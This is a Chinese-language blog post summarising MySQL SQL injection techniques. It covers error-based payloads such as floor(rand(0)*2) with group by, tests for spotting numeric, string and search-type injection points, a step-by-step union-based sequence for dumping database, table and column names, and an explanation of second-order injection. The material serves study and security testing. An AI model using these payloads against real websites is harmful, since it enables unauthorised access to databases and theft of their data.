sql注入总结

1、数据库结构(mysql)

2、注入的主要函数

2.1连接函数

concat()——没有分隔符

concat_ws()——含有分隔符

group_concat()——用逗号分开

2.2、截取字符串主要函数

mid(m,n,len)——从m字符串开始到n位置,截取长度为len的子字符串

substr(m,n,len)——从m字符串开始到n位置,截取长度为len的子字符串

left(s,n)——取字符串s前n个字符

if(条件,真,假)

ascii()——转为ascii码(盲注使用)

2.3、报错函数

updataxml()——主要利用第二参数xpath语法报错

extractvalue()——主要利用第二参数xpath语法报错

floor(x)——返回小于或者等于x的最大整数

和count()、group by  构造payload——select count(*) from users group by concat(database,floor(rand(0)*2))

```````解释payload:

rand()默认范围0-1随机数,配合floor(i+rang()*(j-i))——介于i,j之间随机数,指定参数的话生成固定随机数列rand(0)*2生成0或者1

group by和conut
在使用group by 和count后,group by 会依次从users表中查询记录,建立一张虚拟的表,当表中的Key(主键)存在时,count会自动+1,如果key不存在,则将key插入到临时表中

group by 和rand
而当group by与rand一起使用时,如果临时表中没有该主键,rand会再计算一次,率先将第二次的计算结果插入到临时表,导致主键重复报错(也就是这个特性导致报错)

总结:
floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。

3、注入姿势

3.1

根据参数类型:数字型,字符型,搜索型
根据提交方式:post注入,get注入,http head注入
根据有无回显:联合注入,报错注入,布尔注入,延迟注入
其他注入:堆叠注入,宽字节注入,二次注入


3.2、 sql注入点的判断


1、?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面部分数据显示不正常,那么可以确定此处为数字型注入
2、?id=1' and 1=1--+/#和?id=1'and 1=2--+/#进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者部分显示不正常,那么可以确定此处为字符型注入
3、?id=1' and 1=1 and '1'='1和?id=1'and 1=2 and '1'='2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者部分显示不正常,那么可以确定此处为字符型注入
4、?id=1%' and 1=1 --+/#和?id=1%'and 1=2--+/#进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者部分显示不正常,那么可以确定此处为搜索型注入
5、?id=1' and 1=1 and '%'='%和?id=1'and 1=2 and '%'='%进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者部分显示不正常,那么可以确定此处为搜索注入


3.3、根据有无回显:联合注入,报错注入,布尔注入,延迟注入、联合注入:


        1、注入点判断--?id=1 and 1=1 ?id=1 and 1=2
        2、判断列数--?id = 1 order  by 3
        3、爆出显示位--?id = -1 union select  1,2,3
        4、爆出数据库名和版本--?id = -1union select  1,database(),version()
        5、爆表--?id = -1 union select  1,2,group_concat(table_name)  from information.tables where table_schema = '爆出数据库的名字'
        6、爆列--?id = -1 union select  1,2,group_concat(column_name)  from information.column s where table_name = '爆出数据表的名字'


3.4、二次注入


   二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到 SQL 查询语句所导致的注入。防御者可能在用户输入恶意数据时,对其中的特殊字符进行了转义处理;但在恶意数据插入到数据库时,被处理的数据又被还原并存储在数据库中,当 Web 程序调用存储在数据库中的恶意数据并执行 SQL 查询时,就发生了 SQL 二次注入。 
过程:      
(1)先构造语句(此语句含有被转义字符的语句,如 mysql_escape_string、mysql_real_escape_string 转义)
(2)将我们构造的恶意语句存入数据库(被转义的语句)
(3)第二次构造语句(结合前面已被存入数据库的语句构造。因为系统没有对已存入的数据做检查,成功注入)

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值